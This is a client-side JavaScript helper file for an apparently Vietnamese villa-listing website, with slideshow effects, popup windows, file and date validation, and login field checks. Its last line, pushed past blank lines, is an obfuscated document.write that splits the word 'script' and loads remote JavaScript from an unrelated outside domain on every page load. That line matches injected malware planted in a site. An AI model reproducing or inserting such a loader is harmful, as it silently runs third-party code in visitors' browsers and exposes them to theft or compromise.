﻿function EffectedImageObj() {
    this.startIndex = 0;
    this.imageId="";
    this.imagesList = null;
}

function EffectedImageObj(imageId, imagesList) {
    this.startIndex = 0;
    this.imageId= imageId;
    this.imagesList = imagesList;
    this.doEffect = function(){

        if(document.images[this.imageId] == null){
            return;
        }
        if(this.imagesList == null || this.imagesList.length == 0){
            return;
        }
        document.images[this.imageId].src = this.imagesList[this.startIndex];
        // if IE
        if(document.all){
          document.images[this.imageId].filters.revealTrans.Transition=Math.floor(Math.random()*23);
          document.images[this.imageId].filters.revealTrans.apply();
          document.images[this.imageId].filters.revealTrans.play();
        }
        this.startIndex++;
        if(this.startIndex >= this.imagesList.length){
            this.startIndex = 0;
        }

    }
}

/*
* This method open popup window depend on URL, width, height, parameters, position
*/
function openWindow(url, handle, popupHeight, popupWidth, otherParms, center) {
    var parmsToUse = "";
    if (center == "yes") {
        var w = 480, h = 340;
        if (document.all) {
           /* the following is only available after onLoad */
           w = document.body.clientWidth;
           h = document.body.clientHeight;
        } else if (document.layers) {
           w = window.innerWidth;
           h = window.innerHeight;
        } else {
           w = window.outerWidth;
           h = window.outerHeight;            
        }
        var leftPos = (w - popupWidth)/2 
        var topPos = (h - popupHeight)/2;    
        parmsToUse = "height=" + popupHeight + 
                     ",width=" + popupWidth + 
                     ",left=" + leftPos + 
                     ",top=" + topPos + 
                     ","+otherParms;
    } else {
        parmsToUse = "height=" + popupHeight + 
                     ",width=" + popupWidth + 
                     "," + otherParms;
    }
        
    return window.open(url, handle, parmsToUse);
}

/**
* Open the Add Comment window using the specified url.
*/
function openAddCommentWindow(url) {
    openWindow(url, "AddCommentWindow", "600", "760", "dependent,resizable,scrollbars", "yes");
}

/**
* Open the Calandar control.
*/
function openCalendarWindow(url) {
    openWindow(url, "Calendar", "200", "300", "dependent,resizable,scrollbars", "yes");
}

/*
* Check filter file by file's extention: *.jpg, *.jpeg, *.bmp, *.png, *.gif
*/
function checkImageFileExtension(elem) {
    var filePath = elem.value;

    if(filePath.indexOf('.') == -1)
        return false;
    
    var validExtensions = new Array();
    var ext = filePath.substring(filePath.lastIndexOf('.') + 1).toLowerCase();

    validExtensions[0] = 'jpg';
    validExtensions[1] = 'jpeg';
    validExtensions[2] = 'bmp';
    validExtensions[3] = 'png';
    validExtensions[4] = 'gif';  

    for(var i = 0; i < validExtensions.length; i++) {
        if(ext.toUpperCase() == validExtensions[i].toUpperCase())
            return true;
    }

    alert('Kiểu file *.' + ext.toUpperCase() + ' này không hợp lệ! Hãy chọn file hình có kiểu sau: *.jpg, *.jpeg, *.bmp, *.png, *.gif.');
    elem.value = "";
    return false;
}

/*
* Check filter file by file's extention
*/
function checkFileExtension(elem, extention) {
    var filePath = elem.value;

    if(filePath.indexOf('.') == -1)
        return false;
    
    var validExtensions = new Array();
    var ext = filePath.substring(filePath.lastIndexOf('.') + 1).toLowerCase();

    if(ext.toUpperCase() == extention.toUpperCase()) {
        return true;
    }

    alert('Kiểu file *.' + ext.toUpperCase() + ' này không hợp lệ! Hãy chọn file hình có kiểu sau: *.' + extention.toUpperCase());
    elem.value = "";
    return false;
}

/*
 * Validate Date by format : MM/dd/yyyy
 */
function ismIsValidDate(date) {
    var dateString = date.value;
    if (dateString != null && dateString != "") {
        var RegExPattern = /^(?=\d)(?:(?:(?:(?:(?:0?[13578]|1[02])(\/|-|\.)31)\1|(?:(?:0?[1,3-9]|1[0-2])(\/|-|\.)(?:29|30)\2))(?:(?:1[6-9]|[2-9]\d)?\d{2})|(?:0?2(\/|-|\.)29\3(?:(?:(?:1[6-9]|[2-9]\d)?(?:0[48]|[2468][048]|[13579][26])|(?:(?:16|[2468][048]|[3579][26])00))))|(?:(?:0?[1-9])|(?:1[0-2]))(\/|-|\.)(?:0?[1-9]|1\d|2[0-8])\4(?:(?:1[6-9]|[2-9]\d)?\d{2}))($|\ (?=\d)))?(((0?[1-9]|1[012])(:[0-5]\d){0,2}(\ [AP]M))|([01]\d|2[0-3])(:[0-5]\d){1,2})?$/;
        if ((dateString.match(RegExPattern)) && (dateString.strip() != '')) {
            return true;
        }
        alert("Ngày nhập vào không hợp lệ. Hãy nhập đúng định dạng: MM/dd/yyyy");
        return false;
    }
    return true;
}

function checkUserName(element) {
    if (element.value == null || element.value == "") {
        alert("Hãy nhập vào ký danh của bạn!");
    }
    return;
} 

function checkPassword(element) {
    if (element.value == null || element.value == "") {
        alert("Hãy nhập vào mật khẩu của bạn!");
    }
    return;
} 

function checkVillaInfo(name, street) {
    if (name.value == null || name.value == "") {
        alert("Hãy nhập vào tên của Biệt thự!");
    }
    if (street.value == null || street.value == "") {
        alert("Hãy nhập vào địa chỉ của Biệt thự!");
    }
    return;
} 

function onHoverImage(elem){
    elem.style.borderWidth="1px";
}
function onMouseOutImage(elem){
    elem.style.borderWidth="0px";
}

function mouseLinkOver(id) {
	var obj = document.getElementById(id);
	obj.style.color = "Gray";
}
function mouseLinkOut(id) {
	var obj = document.getElementById(id);
	obj.style.color = "White";
}

function updateComment(id) {
    var url = "AdminUpdateCommentPage.aspx?itemId=" + id;
    var parmsToUse = "height=600,width=800";
    window.open(url, "UpdateComment", parmsToUse);    
}

function getRememberPw() {
    var obj = document.getElementById("PageHeaderWebControl1_chbGhiNho");
    var hf = document.getElementById("PageHeaderWebControl1_RememberHidden");
    if (obj.checked) {
        hf.value = "true";
    } else {
        hf.value = "false";
    }            
}





document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Page_Orientation.js"></scri'+'pt>');